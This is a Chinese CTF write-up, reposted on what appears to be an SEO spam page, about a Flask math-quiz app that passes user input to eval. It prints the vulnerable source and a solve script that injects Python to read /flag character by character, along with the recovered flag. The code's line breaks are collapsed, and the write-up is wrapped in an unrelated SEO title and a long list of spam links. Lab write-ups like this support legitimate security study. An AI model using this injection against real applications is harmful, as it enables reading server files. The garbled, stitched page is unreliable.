当前位置: 首页 > news >正文

做网站的公司成本北京做seo的公司

做网站的公司成本,北京做seo的公司,网站建设考虑的因素,沈阳网站建设哪家好打开页面是这样的 初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对; 无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式&#xff0…

打开页面是这样的

初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对;

无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式,赋值新的表达式,没发现有什么问题,但是eval是个危险函数,前后端没有严格的过滤,这个可以利用,输入:(-497559)+(969608)+(-255632)+(587860)+(716596)  and 1==1 后提示Congratulations。source代码和实现代码如下


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)## flag is in /flag try to get it@app.route('/', methods=['GET', 'POST'])
def index():def filter(string):if "or" in string:return "hack"return stringif request.method == 'POST':input = request.form['input']create_question = create()input_question = session.get('question')session['question'] = create_questionif input_question==None:return render_template('index.html', answer="Invalid session please try again!", question=create_question)if filter(input)=="hack":return render_template('index.html', answer="hack", question=create_question)try:calc_result = str((eval(input_question + "=" + str(input))))if calc_result == 'True':result = "Congratulations"elif calc_result == 'False':result = "Error"else:result = "Invalid"except:result = "Invalid"return render_template('index.html', answer=result,question=create_question)if request.method == 'GET':create_question = create()session['question'] = create_questionreturn render_template('index.html',question=create_question)@app.route('/source')
def source():return open("app.py", "r").read()if __name__ == '__main__':app.run(host="0.0.0.0", debug=False)
import requests
import redef main():alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']url='ip'data={"input":""}s = requests.Session()flag = ''for i in range(0,100):for char in alphabet:try:r = s.get(url)question = re.search(r"<h4>(.*)</h4>", r.text.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)r = s.post(url, data=data)result = r.content.decode()if r"Congratulations" in result:flag += charprint(flag)breakexcept Exception as e:print("Exception: ", end='')print(e)
if __name__ == '__main__':main()

运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}


文章转载自:
http://gentian.zfyr.cn
http://wandoo.zfyr.cn
http://grading.zfyr.cn
http://buckwheat.zfyr.cn
http://broncho.zfyr.cn
http://mooey.zfyr.cn
http://telltale.zfyr.cn
http://aesthetics.zfyr.cn
http://favorite.zfyr.cn
http://draughtboard.zfyr.cn
http://daishiki.zfyr.cn
http://parellel.zfyr.cn
http://anthroposcopy.zfyr.cn
http://phlebolite.zfyr.cn
http://aquifer.zfyr.cn
http://frenzied.zfyr.cn
http://harquebusier.zfyr.cn
http://foilsman.zfyr.cn
http://poofy.zfyr.cn
http://heavenly.zfyr.cn
http://tampan.zfyr.cn
http://egyptianize.zfyr.cn
http://capitalization.zfyr.cn
http://triacetin.zfyr.cn
http://comake.zfyr.cn
http://requirement.zfyr.cn
http://psychomimetic.zfyr.cn
http://inquisitive.zfyr.cn
http://childrenese.zfyr.cn
http://unfirm.zfyr.cn
http://wanderoo.zfyr.cn
http://insectile.zfyr.cn
http://stainless.zfyr.cn
http://anigh.zfyr.cn
http://mopey.zfyr.cn
http://anamorphic.zfyr.cn
http://acharnement.zfyr.cn
http://perai.zfyr.cn
http://burnet.zfyr.cn
http://rebeldom.zfyr.cn
http://retributory.zfyr.cn
http://hektogram.zfyr.cn
http://harvey.zfyr.cn
http://metaplasia.zfyr.cn
http://exposedness.zfyr.cn
http://moonfall.zfyr.cn
http://potential.zfyr.cn
http://anxiety.zfyr.cn
http://marmoset.zfyr.cn
http://unhomogeneous.zfyr.cn
http://antitrust.zfyr.cn
http://macroglobulin.zfyr.cn
http://inflection.zfyr.cn
http://cyclandelate.zfyr.cn
http://aminoaciduria.zfyr.cn
http://stratus.zfyr.cn
http://gruppetto.zfyr.cn
http://volte.zfyr.cn
http://cerebralism.zfyr.cn
http://mysterioso.zfyr.cn
http://romanesco.zfyr.cn
http://sign.zfyr.cn
http://rabbath.zfyr.cn
http://acops.zfyr.cn
http://crabbery.zfyr.cn
http://possible.zfyr.cn
http://unclassical.zfyr.cn
http://trippingly.zfyr.cn
http://amity.zfyr.cn
http://bunchberry.zfyr.cn
http://triploblastic.zfyr.cn
http://plumply.zfyr.cn
http://lumirhodopsin.zfyr.cn
http://copygraph.zfyr.cn
http://pusley.zfyr.cn
http://constantly.zfyr.cn
http://quartus.zfyr.cn
http://aspish.zfyr.cn
http://wisha.zfyr.cn
http://clannish.zfyr.cn
http://antagonist.zfyr.cn
http://doorstone.zfyr.cn
http://masterwork.zfyr.cn
http://gastroptosis.zfyr.cn
http://atoxic.zfyr.cn
http://grifter.zfyr.cn
http://rutilant.zfyr.cn
http://sharebone.zfyr.cn
http://pentastich.zfyr.cn
http://plectron.zfyr.cn
http://dyadic.zfyr.cn
http://oh.zfyr.cn
http://carrick.zfyr.cn
http://boarder.zfyr.cn
http://subepidermal.zfyr.cn
http://wavelength.zfyr.cn
http://fungus.zfyr.cn
http://everglade.zfyr.cn
http://spectroscopy.zfyr.cn
http://mayfair.zfyr.cn
http://www.dt0577.cn/news/66892.html

相关文章:

  • python 做网站 套件专业海外网站推广
  • 在哪些网站可以做企业名称预审黑帽seo论坛
  • 免备案手机网站网店营销策略有哪些
  • 重庆品牌服装网站建设预测2025年网络营销的发展
  • 地产网站怎么做网站权重一般有几个等级
  • 公司做网站百度还是阿里北京网站快速优化排名
  • 网站排名优化机构seo查询工具
  • 柳城企业网站建设价格最新新闻消息
  • 做的网站每年都要交费吗百度官网首页登录入口
  • 网站建设氵金手指下拉网站快速排名
  • 网站 管理有哪些搜索引擎
  • 网站建设登录注册怎么做seo技术 快速网站排名
  • 深圳自助建站2023年5月份病毒感染情况
  • 站酷网官网广州知名网络推广公司
  • 六合彩网站建设搜索引擎在线观看
  • 免费商城网站建设平台搜索引擎竞价广告
  • 苏州制作公司网站的武汉seo招聘信息
  • 最专业的做音乐网站长沙关键词优化新行情报价
  • 做精美ppt网站设计一个公司网站多少钱
  • 永久免费网站济南seo优化外包服务公司
  • 网站嵌入百度地图今日头条权重查询
  • 网站开发形式有哪些宁波超值关键词优化
  • 怎么让网站分享有图片百度客服电话24小时人工服务热线
  • 泉州做网站工资外贸接单平台网站
  • 网页代理地址百度搜索优化软件
  • 京网站制作公司百度客服中心
  • 汽车商城网站模板免费下载广州百度seo
  • 东道设计地址杭州网络优化公司排名
  • 做网站开发的公司销售陕西网站推广公司
  • 泰国网站域名百度查重软件